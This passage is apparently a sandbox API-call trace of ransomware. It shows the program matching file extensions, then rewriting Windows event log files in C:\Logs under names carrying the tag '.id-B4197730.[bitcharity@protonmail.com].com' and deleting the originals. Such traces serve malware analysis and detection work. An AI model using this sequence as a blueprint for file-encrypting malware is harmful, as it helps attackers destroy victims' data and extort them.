(lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0144.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0144.396] lstrlenW (lpString=".doc") returned 4 [0144.396] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0144.396] lstrlenW (lpString=".docx") returned 5 [0144.396] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0144.396] lstrlenW (lpString=".pdf") returned 4 [0144.396] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0144.396] lstrlenW (lpString=".xls") returned 4 [0144.396] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0144.396] lstrlenW (lpString=".xlsx") returned 5 [0144.396] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0144.396] lstrlenW (lpString=".ppt") returned 4 [0144.396] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0144.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0144.396] lstrlenW (lpString=".zip") returned 4 [0144.396] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0144.396] lstrlenW (lpString=".rar") returned 4 [0144.396] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0144.396] lstrlenW (lpString=".bz2") returned 4 [0144.396] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0144.397] lstrlenW (lpString=".7z") returned 3 [0144.397] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0144.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0144.397] lstrlenW (lpString=".dbf") returned 4 [0144.397] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0144.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0144.397] lstrlenW (lpString=".1cd") returned 4 [0144.397] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0144.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0144.397] lstrlenW (lpString=".jpg") returned 4 [0144.397] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0144.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0144.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0144.397] lstrlenW (lpString=".doc") returned 4 [0144.397] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0144.397] lstrlenW (lpString=".docx") returned 5 [0144.397] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0144.397] lstrlenW (lpString=".pdf") returned 4 [0144.397] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0144.397] lstrlenW (lpString=".xls") returned 4 [0144.397] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0144.397] lstrlenW (lpString=".xlsx") returned 5 [0144.397] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0144.397] lstrlenW (lpString=".ppt") returned 4 [0144.397] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0144.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0144.398] lstrlenW (lpString=".zip") returned 4 [0144.398] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0144.398] lstrlenW (lpString=".rar") returned 4 [0144.398] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0144.398] lstrlenW (lpString=".bz2") returned 4 [0144.398] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0144.398] lstrlenW (lpString=".7z") returned 3 [0144.398] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0144.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0144.398] lstrlenW (lpString=".dbf") returned 4 [0144.398] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0144.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0144.398] lstrlenW (lpString=".1cd") returned 4 [0144.398] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0144.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0144.398] lstrlenW (lpString=".jpg") returned 4 [0144.398] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0144.398] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0144.398] lstrlenW (lpString="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 71 [0144.398] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0144.609] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=1052672) returned 1 [0144.609] CloseHandle (hObject=0x1038) returned 1 [0144.609] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20 [0144.609] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.610] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0144.610] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.610] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.610] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0144.618] GetLastError () returned 0x0 [0144.618] ReadFile (in: hFile=0x1038, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0144.721] WriteFile (in: hFile=0x10c0, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0144.739] ReadFile (in: hFile=0x1038, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x1010, lpOverlapped=0x0) returned 1 [0145.163] WriteFile (in: hFile=0x10c0, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x1020, lpOverlapped=0x0) returned 1 [0145.167] ReadFile (in: hFile=0x1038, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.167] WriteFile (in: hFile=0x10c0, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x162, lpOverlapped=0x0) returned 1 [0145.167] SetEndOfFile (hFile=0x10c0) returned 1 [0145.168] CloseHandle (hObject=0x10c0) returned 1 [0145.286] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.286] SetEndOfFile (hFile=0x1038) returned 1 [0145.288] CloseHandle (hObject=0x1038) returned 1 [0145.288] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.293] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 1 [0145.312] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0145.312] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0145.312] lstrlenW (lpString=".doc") returned 4 [0145.312] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0145.312] lstrlenW (lpString=".docx") returned 5 [0145.312] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0145.312] lstrlenW (lpString=".pdf") returned 4 [0145.312] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0145.312] lstrlenW (lpString=".xls") returned 4 [0145.312] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0145.312] lstrlenW (lpString=".xlsx") returned 5 [0145.312] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0145.312] lstrlenW (lpString=".ppt") returned 4 [0145.312] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0145.312] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0145.312] lstrlenW (lpString=".zip") returned 4 [0145.312] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0145.312] lstrlenW (lpString=".rar") returned 4 [0145.312] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0145.312] lstrlenW (lpString=".bz2") returned 4 [0145.312] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0145.312] lstrlenW (lpString=".7z") returned 3 [0145.312] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0145.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0145.313] lstrlenW (lpString=".dbf") returned 4 [0145.313] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0145.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0145.313] lstrlenW (lpString=".1cd") returned 4 [0145.313] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0145.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0145.313] lstrlenW (lpString=".jpg") returned 4 [0145.313] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0145.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0145.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0145.313] lstrlenW (lpString=".doc") returned 4 [0145.313] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0145.313] lstrlenW (lpString=".docx") returned 5 [0145.313] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0145.313] lstrlenW (lpString=".pdf") returned 4 [0145.313] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0145.313] lstrlenW (lpString=".xls") returned 4 [0145.313] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0145.313] lstrlenW (lpString=".xlsx") returned 5 [0145.313] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0145.313] lstrlenW (lpString=".ppt") returned 4 [0145.313] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0145.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0145.313] lstrlenW (lpString=".zip") returned 4 [0145.313] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0145.313] lstrlenW (lpString=".rar") returned 4 [0145.313] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0145.313] lstrlenW (lpString=".bz2") returned 4 [0145.313] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0145.313] lstrlenW (lpString=".7z") returned 3 [0145.313] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0145.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0145.313] lstrlenW (lpString=".dbf") returned 4 [0145.313] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0145.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0145.314] lstrlenW (lpString=".1cd") returned 4 [0145.314] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0145.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0145.314] lstrlenW (lpString=".jpg") returned 4 [0145.314] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0145.314] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0145.314] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 56 [0145.314] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0145.316] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=2166784) returned 1 [0145.316] CloseHandle (hObject=0x108c) returned 1 [0145.316] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20 [0145.317] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.317] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0145.317] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0145.317] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc64 | out: lpNewFilePointer=0x0) returned 1 [0145.317] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc24 | out: lpNewFilePointer=0x0) returned 1 [0145.317] ReadFile (in: hFile=0x108c, lpBuffer=0x349b058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a0fc30, lpOverlapped=0x0 | out: lpBuffer=0x349b058*, lpNumberOfBytesRead=0x2a0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0145.444] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc24 | out: lpNewFilePointer=0x0) returned 1 [0145.444] ReadFile (in: hFile=0x108c, lpBuffer=0x34db058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a0fc30, lpOverlapped=0x0 | out: lpBuffer=0x34db058*, lpNumberOfBytesRead=0x2a0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0145.537] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a0fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.537] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc24 | out: lpNewFilePointer=0x0) returned 1 [0145.537] ReadFile (in: hFile=0x108c, lpBuffer=0x351b058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a0fc30, lpOverlapped=0x0 | out: lpBuffer=0x351b058*, lpNumberOfBytesRead=0x2a0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0145.667] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.667] WriteFile (in: hFile=0x108c, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xc015c, lpNumberOfBytesWritten=0x2a0fca8, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fca8*=0xc015c, lpOverlapped=0x0) returned 1 [0145.681] SetEndOfFile (hFile=0x108c) returned 1 [0145.682] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3de00b0 [0145.911] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc74 | out: lpNewFilePointer=0x0) returned 1 [0145.911] WriteFile (in: hFile=0x108c, lpBuffer=0x3de00b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3de00b0*, lpNumberOfBytesWritten=0x2a0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0145.927] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc74 | out: lpNewFilePointer=0x0) returned 1 [0145.927] WriteFile (in: hFile=0x108c, lpBuffer=0x3de00b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3de00b0*, lpNumberOfBytesWritten=0x2a0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0145.929] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc74 | out: lpNewFilePointer=0x0) returned 1 [0145.929] WriteFile (in: hFile=0x108c, lpBuffer=0x3de00b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3de00b0*, lpNumberOfBytesWritten=0x2a0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0145.931] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0146.020] CloseHandle (hObject=0x108c) returned 1 [0146.879] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0146.879] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0146.879] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0146.879] lstrlenW (lpString=".doc") returned 4 [0146.879] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.879] lstrlenW (lpString=".docx") returned 5 [0146.879] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.879] lstrlenW (lpString=".pdf") returned 4 [0146.879] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.879] lstrlenW (lpString=".xls") returned 4 [0146.879] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.880] lstrlenW (lpString=".xlsx") returned 5 [0146.880] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.880] lstrlenW (lpString=".ppt") returned 4 [0146.880] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.880] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0146.880] lstrlenW (lpString=".zip") returned 4 [0146.880] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.880] lstrlenW (lpString=".rar") returned 4 [0146.880] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.880] lstrlenW (lpString=".bz2") returned 4 [0146.880] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.880] lstrlenW (lpString=".7z") returned 3 [0146.880] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.880] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0146.880] lstrlenW (lpString=".dbf") returned 4 [0146.880] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.880] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0146.880] lstrlenW (lpString=".1cd") returned 4 [0146.880] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.880] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0146.880] lstrlenW (lpString=".jpg") returned 4 [0146.880] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.880] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0146.880] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0146.880] lstrlenW (lpString=".doc") returned 4 [0146.880] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.880] lstrlenW (lpString=".docx") returned 5 [0146.880] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.880] lstrlenW (lpString=".pdf") returned 4 [0146.880] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.880] lstrlenW (lpString=".xls") returned 4 [0146.880] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.880] lstrlenW (lpString=".xlsx") returned 5 [0146.881] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.881] lstrlenW (lpString=".ppt") returned 4 [0146.881] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.881] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0146.881] lstrlenW (lpString=".zip") returned 4 [0146.881] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.881] lstrlenW (lpString=".rar") returned 4 [0146.881] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.881] lstrlenW (lpString=".bz2") returned 4 [0146.881] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.881] lstrlenW (lpString=".7z") returned 3 [0146.881] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.881] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0146.881] lstrlenW (lpString=".dbf") returned 4 [0146.881] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.881] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0146.881] lstrlenW (lpString=".1cd") returned 4 [0146.881] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.881] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0146.881] lstrlenW (lpString=".jpg") returned 4 [0146.881] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.881] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0146.881] lstrlenW (lpString="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 59 [0146.882] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0146.882] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=69632) returned 1 [0146.882] CloseHandle (hObject=0x108c) returned 1 [0146.882] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20 [0146.882] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0146.882] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0146.882] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.882] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.882] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0146.883] GetLastError () returned 0x0 [0146.883] ReadFile (in: hFile=0x108c, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0147.149] WriteFile (in: hFile=0x10e4, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0147.154] ReadFile (in: hFile=0x108c, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, 